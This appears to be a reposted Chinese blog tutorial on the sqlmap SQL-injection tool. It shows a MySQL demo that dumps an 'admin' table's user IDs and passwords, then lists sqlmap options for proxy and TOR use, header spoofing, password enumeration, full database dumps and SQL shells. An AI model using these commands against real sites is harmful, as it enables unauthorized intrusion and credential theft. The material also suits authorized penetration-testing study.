sqlmap mysql案例_sqlmap简单mysql注入演示附截图

安装教程百度一下就有了.

首先下载需要的文件,如果是windows环境直接到

看大牛的视频,学习一下,附上截图....算是转载吧...只是为了分享一下..

下边是实例:

sqlmap.py -update 更新

-h help

sqlmap.py -u --dbms "Mysql" --current-user

/* 注解:获取当前用户名称

current user: ’root@localhost’

sqlmap.py -u --dbms "Mysql" --current-db

/*当前数据库

current database: ’wepost’

sqlmap.py -u --dbms "Mysql" --tables -D "wepost"

sqlmap.py -u --dbms "Mysql" --columns

-T "admin" -D "wepost"

sqlmap.py -u --dbms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容

?

sqlmap简单中文说明

更新

svn checkout sqlmap-dev

sqlmap.py -u "" -v 1 --sql-shell //执行SQL语句

sqlmap.py -u "" -v 5 //更详细的信息

load options from a configuration INI file

sqlmap -c sqlmap.conf

使用POST方法提交

sqlmap.py -u "" --method POST --data "id=1"

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u "" --cookie "id=1" -v 1

使用referer欺骗

python sqlmap.py -u "" --referer "" -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u "" --user-agent "Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1" -v 3

python sqlmap.py -u "" -v 1 -a "./txt/user-agents.txt"

使用基本认证

python sqlmap.py -u "" --auth-type Basic --auth-cred "" -v 3

使用Digest认证

python sqlmap.py -u "" --auth-type Digest --auth-cred "" -v 3

使用代理,配合TOR

python sqlmap.py -u "" --proxy ""

python sqlmap.py -u "" --proxy ""

使用多线程猜解

python sqlmap.py -u "" -v 1 --current-user --threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python sqlmap.py -u "" -v 1 -p "id

python sqlmap.py -u "" -v 1 -p "cat,id"

python sqlmap.py -u "" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 "

指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u "" -v 2 --dbms "PostgreSQL"

* MySQL

* Oracle

* PostgreSQL

* Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u "" -v 2 --os "Windows"

* Linux

* Windows

自定义payload

Options: --prefix and --postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=’" . $_GET[’id’] . "’ LIMIT 0, 1";:

$ python sqlmap.py -u "" -v 3 -p "id" --prefix "’" --postfix "AND ’test’=’test"

[...]

[] [INFO] testing sql injection on GET parameter ’id’ with 0 parenthesis

[] [INFO] testing custom injection on GET parameter ’id’

[] [TRAFFIC OUT] HTTP request:

GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20

%28%27test%27=%27test HTTP/1.1

Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7

Host: 192.168.1.121:80

Accept-language: en-us,en;q=0.5

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

User-agent: sqlmap/0.7rc1

Connection: close

[...]

[] [INFO] GET parameter ’id’ is custom injectable

[...]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1’ AND 7433=7433 AND ’test’=’test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=’1’ AND 7433=7433 AND ’test’=’test’ LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py -u "" --string "luther" -v 1

python sqlmap.py -u "" --regexp "

lu[/w][/w]er" -v

排除网站的内容

python sqlmap.py -u "" --excl-reg "Dynamic content: [/d]+"

多语句测试,php内嵌函数mysql_query,不支持多语句

python sqlmap.py -u "" --stacked-test -v 1

union注入测试

python sqlmap.py -u "" --union-test -v 1

unionz注入配合orderby

python sqlmap.py -u "" --union-test --union-tech orderby -v 1

python sqlmap.py -u "" -v 1 --union-use --banner

python sqlmap.py -u "" -v 5 --union-use --current-user

python sqlmap.py -u "" -v 1 --union-use --dbs

fingerprint

python sqlmap.py -u "" -v 1 -f

python sqlmap.py -u "" -v 1 -f -b

判断当前用户是否是dba

python sqlmap.py -u "" --is-dba -v 1

列举数据库用户

python sqlmap.py -u "" --users -v 0

列举数据库用户密码

python sqlmap.py -u "" --passwords -v 0

python sqlmap.py -u "" --passwords -U sa -v 0

查看用户权限

python sqlmap.py -u "" --privileges -v 0

python sqlmap.py -u "" --privileges -U postgres -v 0

列数据库

python sqlmap.py -u "" --dbs -v 0

列出指定数据库指定表的列名

python sqlmap.py -u "" --columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u "" --dump -T users -D master -C surname -v 0

指定列的范围从2-4

python sqlmap.py -u "" --dump -T users -D test --start 2 --stop 4 -v 0

导出所有数据库,所有表的内容

python sqlmap.py -u "" --dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u "" --dump-all --exclude-sysdbs -v 0

sql query

python sqlmap.py -u "" --sql-query "SELECT usename FROM pg_user" -v 0

python sqlmap.py -u "" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1

SELECT usename, passwd FROM pg_shadow ORDER BY usename

保存和恢复会话

python sqlmap.py -u "" -b -v 1 -s "sqlmap.log"

保存选项到INC配置文件

python sqlmap.py -u "" -b -v 1 --save

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值